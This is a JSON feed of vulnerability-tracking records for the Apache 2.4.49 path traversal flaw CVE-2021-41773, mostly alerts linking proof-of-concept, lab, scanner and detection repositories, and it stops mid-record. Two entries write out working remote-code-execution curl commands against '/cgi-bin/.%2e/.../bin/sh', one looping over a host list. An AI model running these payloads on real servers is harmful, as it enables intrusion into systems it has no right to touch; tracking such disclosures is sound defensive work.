{"uuid": "b6ccfa77-60ae-4369-bb61-a4af8fe27f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/650", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aExploitation of CVE-2021-41773 a Directory Traversal in Apache 2.4.49.\nURL\uff1ahttps://github.com/RyouYoo/CVE-2021-41773", "creation_timestamp": "2021-10-05T20:33:43.000000Z"}, {"uuid": "eac868cc-d654-4d1c-882d-08381456d005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/649", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPath traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773) \nURL\uff1ahttps://github.com/knqyf263/CVE-2021-41773", "creation_timestamp": "2021-10-05T16:55:20.000000Z"}, {"uuid": "66eac895-338e-41ee-b42d-eaa891ab3d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/656", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773.nse\nURL\uff1ahttps://github.com/TishcaTpx/cve-2021-41773-nse", "creation_timestamp": "2021-10-06T05:35:54.000000Z"}, {"uuid": "bf9d6488-ae1a-4ebb-8e88-865957c3c494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/648", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773\nURL\uff1ahttps://github.com/numanturle/CVE-2021-41773", "creation_timestamp": "2021-10-05T16:21:03.000000Z"}, {"uuid": "ca5193a2-2abc-4b97-a06c-76899ed5f49b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/647", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.\nURL\uff1ahttps://github.com/Vulnmachines/cve-2021-41773", "creation_timestamp": "2021-10-05T16:16:44.000000Z"}, {"uuid": "18996510-79ed-4346-983f-90d9c987b873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/655", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773.nse\nURL\uff1ahttps://github.com/creadpag/CVE-2021-41773", "creation_timestamp": "2021-10-06T05:27:23.000000Z"}, {"uuid": "9de214bb-e655-408c-95c9-155ad6406f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/678", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aSimple script realizado en bash, para revisi\u00f3n de m\u00faltiples hosts para CVE-2021-41773 (Apache)\nURL\uff1ahttps://github.com/jheeree/Simple-CVE-2021-41773-checker", "creation_timestamp": "2021-10-12T03:01:17.000000Z"}, {"uuid": "0fca118c-24ac-4a35-b71e-3de9c93994bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/805", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aSome docker images to play with CVE-2021-41773 and CVE-2021-42013\nURL\uff1ahttps://github.com/Hydragyrum/CVE-2021-41773-Playground", "creation_timestamp": "2021-11-04T22:56:15.000000Z"}, {"uuid": "381de5a3-2108-4a09-bd38-95998e861b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/663", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 \u7684\u590d\u73b0\nURL\uff1ahttps://github.com/1nhann/CVE-2021-41773", "creation_timestamp": "2021-10-06T14:19:15.000000Z"}, {"uuid": "6bcf7976-f0f0-4186-a710-734d72e71d90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/668", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aexploit to CVE-2021-41773\nURL\uff1ahttps://github.com/n3k00n3/CVE-2021-41773", "creation_timestamp": "2021-10-07T15:19:54.000000Z"}, {"uuid": "5ebb314b-9b62-47d9-b114-ca0adaf19229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/712", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aLab setup for CVE-2021-41773 (Apache httpd 2.4.49) and CVE-2021-42013 (Apache httpd 2.4.50).\nURL\uff1ahttps://github.com/vulf/CVE-2021-41773_42013", "creation_timestamp": "2021-10-18T12:53:10.000000Z"}, {"uuid": "99e43c52-52a1-4059-b4b4-1a4af2664a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/737", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA Zeek package which raises notices for Path Traversal/RCE in Apache HTTP Server 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013)\nURL\uff1ahttps://github.com/corelight/CVE-2021-41773", "creation_timestamp": "2021-10-25T05:17:17.000000Z"}, {"uuid": "22ab1b25-9b7a-4df8-8b39-d656b4a7985d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/886", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 Test Page & Exploit Code\nURL\uff1ahttps://github.com/jhye0n/CVE-2021-41773", "creation_timestamp": "2021-11-26T04:59:31.000000Z"}, {"uuid": "d6ad9e6d-93de-46ed-829f-c77c84edcdef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/833", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2021-41773\nURL\uff1ahttps://github.com/ahmad4fifz/docker-cve-2021-41773", "creation_timestamp": "2021-11-09T05:26:11.000000Z"}, {"uuid": "21269262-fc3a-4cca-84c3-47d3cba83527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/cKure/7543", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Apache Software Foundation has released HTTP Web Server 2.4.51 to address an actively exploited path traversal vulnerability (CVE-2021-41773) that was only partially addressed with a previous release.\n\nhttps://httpd.apache.org/security/vulnerabilities_24.html", "creation_timestamp": "2021-10-08T15:06:01.000000Z"}, {"uuid": "9306a6f8-5636-4b3e-875e-1984757146cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mizizvmm3i2t", "content": "", "creation_timestamp": "2026-04-09T00:03:42.070890Z"}, {"uuid": "9b290c7f-1560-478d-a572-b3541e627c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7479", "content": "\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPath traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773) \nURL. Zero-Day \n\nhttps://github.com/knqyf263/CVE-2021-41773", "creation_timestamp": "2021-10-06T05:39:43.000000Z"}, {"uuid": "286c5e5d-56ce-479f-ad78-c37582bcecb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7472", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day exploit code:\n\nhttps://github.com/numanturle/CVE-2021-41773", "creation_timestamp": "2021-10-05T17:00:52.000000Z"}, {"uuid": "22cee02e-da52-47fa-9f69-a423cd4d7116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7471", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day exploit code:\n\nhttps://github.com/Vulnmachines/cve-2021-41773", "creation_timestamp": "2021-10-05T17:00:51.000000Z"}, {"uuid": "489c4199-2a76-4178-9c2c-88fefdc9c2e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7469", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 PoC (not included) for path traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773)\n\nhttps://twitter.com/ducnt_/status/1445386557574324234", "creation_timestamp": "2021-10-05T14:37:33.000000Z"}, {"uuid": "04540ca9-dc62-4bee-bf3c-94a032d8e3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7504", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Update : CVE-2021-41773 POC as RCE.\n\ncat file | while read host do ; do curl --silent --path-as-is --data \"echo;id\" '$host/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' | grep \"uid\" && echo \"$host \\033[0;31mVuln\\n\"|| echo \"$host \\033[0;32mNot\\n\";done\n\nSource: Rohit", "creation_timestamp": "2021-10-06T21:35:44.000000Z"}, {"uuid": "124f2b07-630a-4f08-842f-fa4fbd4684c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7503", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Update: CVE-2021-41773 POC as RCE via BurpSuite.\n\nSource: Rapid-SafeGuard", "creation_timestamp": "2021-10-06T21:35:36.000000Z"}, {"uuid": "8625e7aa-9f51-4f21-a537-fbc88b254518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7480", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2021-41773.nse by Dhiraj (\ud83c\uddee\ud83c\uddf3/\ud83c\udde6\ud83c\uddea)\n\nhttps://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse", "creation_timestamp": "2021-10-06T05:47:45.000000Z"}, {"uuid": "f49a6a89-c46e-4511-ae24-1ebf4a4873de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7562", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day: add. apache 2.4.49 CVE-2021-41773 - RCE\n\nApache 2.4.49 CVE-2021-41773 and Apache 2.4.50 CVE-2021-42013 - SCANNER/TRAVERSAL/RCE.\n\nhttps://github.com/rapid7/metasploit-framework/pull/15754", "creation_timestamp": "2021-10-09T20:13:58.000000Z"}, {"uuid": "b4db485f-3727-4660-baad-8bec1efc90a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/cKure/7721", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Apache HTTP Server CVE-2021-42013 and CVE-2021-41773 Exploited in the Wild.\n\nhttps://blogs.juniper.net/en-us/enterprise-cloud-and-transformation/apache-http-server-cve-2021-42013-and-cve-2021-41773-exploited", "creation_timestamp": "2021-10-22T10:18:06.000000Z"}, {"uuid": "ff8b3edc-1976-4f35-bc2f-bc3c0b35d72b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7578", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\n\nAutomatic Mass Tool for checking vulnerability in Apache (Linux) 2.4.49/50\nUsing GNU Parallel. You must have parallel for running this tool\n\nhttps://github.com/im-hanzou/apachrot", "creation_timestamp": "2021-10-12T08:10:40.000000Z"}, {"uuid": "29982bfc-11a8-495c-9eb3-16ab059f9c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7826", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 Scarce-Apache2 - A Framework For Bug Hunting Or Pentesting Targeting Websites That Have CVE-2021-41773 Vulnerability In Public.\n\nhttps://github.com/HightechSec/scarce-apache2", "creation_timestamp": "2021-10-29T21:07:05.000000Z"}, {"uuid": "e3ba8b01-9403-4c83-a20c-502864c8c8a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/apache_http_server_cve_2021_41773", "content": "", "creation_timestamp": "2021-10-05T15:39:32.000000Z"}, {"uuid": "41cf7e3a-8662-414f-804f-50a6a5788bfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1402", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPseudopatch for CVE-2021-4034\nURL\uff1ahttps://github.com/m96dg/CVE-2021-41773-exercise", "creation_timestamp": "2022-01-26T11:26:48.000000Z"}, {"uuid": "da0a3d57-85fe-4e6a-a4bc-75c123acf166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/8XN8wAMSKexF4HKj61t8L1D_BdecH-IzCKOqVJJvRwF7CEY", "content": "", "creation_timestamp": "2025-08-31T21:00:04.000000Z"}, {"uuid": "73bf9f87-b625-4c0d-b57e-4dd8b7cdad0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4397", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1a\u6f0f\u6d1e\u5229\u7528\n\u63cf\u8ff0\uff1aCVE-2021-41773&CVE-2021-42013\u56fe\u5f62\u5316\u6f0f\u6d1e\u68c0\u6d4b\u5229\u7528\u5de5\u5177\nURL\uff1ahttps://github.com/wangfly-me/Apache_Penetration_Tool\n\n\u6807\u7b7e\uff1a#\u6f0f\u6d1e\u5229\u7528", "creation_timestamp": "2023-05-22T16:07:10.000000Z"}, {"uuid": "7bf2acd4-28ae-441f-bb22-40d96dc7910e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/0biwTUuLeP8fV3CLIKNGVSiiFWt5ZFMF_6OnpLfPRJ6mS18", "content": "", "creation_timestamp": "2025-07-03T03:00:06.000000Z"}, {"uuid": "a1c4afd0-bbdd-4b7f-b1e0-7ab2d01461e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/4epyOE2WMrg9wtf44lKwHTXzsLVHmzcmItx48ClyVbvn93Q", "content": "", "creation_timestamp": "2025-11-19T21:00:05.000000Z"}, {"uuid": "1da51df5-d3a8-4c58-927b-59170a16f76f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "Telegram/p9aXpoU_FZfvPwaFGC2z6wToIKsj9JEw53i6nfBS-Wl44_8", "content": "", "creation_timestamp": "2025-10-28T21:00:05.000000Z"}, {"uuid": "9abc3638-3615-4fef-8988-04ea2072c61f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/x_notes/366", "content": "\u041d\u0435\u0434\u0430\u0432\u043d\u044f\u044f CVE-2021-41773 \u0432 Apache 2.4.49, \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441 \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u043b\u0438 \n\ncurl --data \"A=|echo;id\" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'", "creation_timestamp": "2021-10-06T07:33:35.000000Z"}, {"uuid": "0d8def6c-cce6-4c19-81b9-970ecf292a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/qjOaAZzY7N8k20cR3teIz-OZWmlhb63IqcEwlIa5eVjooMw", "content": "", "creation_timestamp": "2025-10-07T15:00:06.000000Z"}, {"uuid": "d5d42d40-8d4b-468a-9f9c-6a8ba4e7dd01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/CGx8SegN-49RVeuavtq3Jo8Ts2xr-V3iQ0C2UE4RT_zZzg8", "content": "", "creation_timestamp": "2026-01-12T15:00:08.000000Z"}, {"uuid": "1d128111-b9f2-435b-9a2b-9375b4654bc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/Z6KDFyAddhR_WTTdj8KLR9BqWCW4LVkYFOJnFavxpUnMZmU", "content": "", "creation_timestamp": "2026-01-08T03:00:07.000000Z"}, {"uuid": "c94b4585-271b-4d17-a7d2-876730e8d47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/pmzKbihchBYeJvBnkfYLk5LESIxSAVi0zGHv3QahmixU_js", "content": "", "creation_timestamp": "2026-04-20T09:00:05.000000Z"}, {"uuid": "fc8e8ed7-4ce4-45c2-9c71-894f90952ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/BJFlaDl_9BJZma2LgARVypNYw9rydPG4dhbOcWVAV8nGsFg", "content": "", "creation_timestamp": "2026-04-23T09:00:04.000000Z"}, {"uuid": "0e972958-6398-4213-b205-cf6edeff5618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/667", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aMASS CVE-2021-41773\nURL\uff1ahttps://github.com/justakazh/mass_cve-2021-41773", "creation_timestamp": "2021-10-07T15:15:37.000000Z"}, {"uuid": "f542580a-9466-4418-8d94-d5175c8b9998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/716", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 Docker lab\nURL\uff1ahttps://github.com/cloudbyteelias/CVE-2021-41773", "creation_timestamp": "2021-10-20T01:36:15.000000Z"}, {"uuid": "7003b0d6-a0f8-4f69-ac71-6b699bf2a0a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/742", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.49\nURL\uff1ahttps://github.com/walnutsecurity/cve-2021-41773", "creation_timestamp": "2021-10-25T17:33:06.000000Z"}, {"uuid": "5995f068-c2ea-4db2-8a5a-60a80501c0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/659", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 playground\nURL\uff1ahttps://github.com/blasty/CVE-2021-41773", "creation_timestamp": "2021-10-06T07:22:18.000000Z"}, {"uuid": "421b2bb3-1136-4472-b537-eec3daafda4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/658", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC CVE-2021-41773\nURL\uff1ahttps://github.com/trungnd51/CVE-2021-41773", "creation_timestamp": "2021-10-06T06:39:45.000000Z"}, {"uuid": "95819eb1-3594-42f8-bbb7-d12ca6302185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/657", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773\nURL\uff1ahttps://github.com/creadpag/CVE-2021-41773-POC", "creation_timestamp": "2021-10-06T05:40:10.000000Z"}, {"uuid": "ff9871f1-3eab-4985-802e-e5ee0aa0169f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/666", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA framework for bug hunting or pentesting targeting websites that have CVE-2021-41773 Vulnerability in public \nURL\uff1ahttps://github.com/HightechSec/scarce-apache2", "creation_timestamp": "2021-10-07T02:33:57.000000Z"}, {"uuid": "0a30cdc6-304b-4509-a52e-11a23dc93782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/879", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 on Docker\nURL\uff1ahttps://github.com/ahmad4fifz/CVE-2021-42013", "creation_timestamp": "2021-11-25T09:55:12.000000Z"}, {"uuid": 